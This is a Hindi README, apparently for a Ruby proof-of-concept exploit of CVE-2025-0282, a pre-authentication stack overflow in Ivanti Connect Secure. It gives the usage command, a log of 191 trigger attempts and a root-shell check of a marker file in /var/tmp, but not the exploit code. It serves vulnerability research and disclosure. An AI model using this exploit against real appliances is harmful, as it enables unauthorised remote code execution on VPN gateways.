
CVE-2025-0282 के लिए PoC: एक रिमोट बिना प्रमाणीकरण वाला स्टैक-आधारित बफर ओवरफ्लो जो Ivanti Connect Secure, Ivanti Policy Secure, और ZTA गेटवे के लिए Ivanti Neurons को प्रभावित करता है।
एक दूरस्थ बिना प्रमाणीकरण वाला स्टैक-आधारित बफर ओवरफ्लो जो Ivanti Connect Secure, Ivanti Policy Secure, और ZTA गेटवे के लिए Ivanti Neurons को प्रभावित करता है
यह CVE-2025-0282 के शोषण को प्रदर्शित करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, और यह watchTowr द्वारा प्रकाशित शोषण रणनीति पर आधारित है।
इस PoC में Ivanti Connect Secure 22.7r2.4 को लक्षित करने के लिए बनाई गई एक ROP चेन है। लक्षित संस्करण के लिए संबंधित ROP चेन पहले बनाए बिना किसी अन्य संस्करण को लक्षित नहीं किया जा सकता है।
इस PoC में एक पेलोड है जो लक्षित सिस्टम पर एक अस्थायी फ़ाइल बनाने के लिए एक ऑपरेटिंग सिस्टम कमांड को निष्पादित करेगा। इसी से आपको पता चलेगा कि एक्सप्लॉइट सफल हुआ है। कोड निष्पादन गैर-रूट उपयोगकर्ता nr के विशेषाधिकारों के साथ प्राप्त किया जाता है।
हम इस स्क्रिप्ट को एक असुरक्षित Ivanti Connect Secure लक्ष्य, संस्करण 22.7r2.4, के विरुद्ध इस प्रकार चला सकते हैं:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
यदि एक्सप्लॉइट सफल होता है, तो यह अस्थायी निर्देशिका /var/tmp/ में एक नई फ़ाइल लिखेगा, जिसके फ़ाइल नाम में एक्सप्लॉइट प्रयास पुनरावृत्ति के अनुरूप एक संख्या मान शामिल होगा।
लक्ष्य डिवाइस पर एक अलग रूट शेल में (जिसे हमने उपकरण को जेलब्रेक करके स्थापित किया था), हम देख सकते हैं कि एक्सप्लॉइट कब सफल हुआ है:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
इस उदाहरण से हम देख सकते हैं कि एक्सप्लॉइट ने 190 असफल प्रयास किए, और 191वें प्रयास में सफल रहा। तो इस उदाहरण में, इस लक्ष्य का शोषण 34 मिनट में सफल हुआ।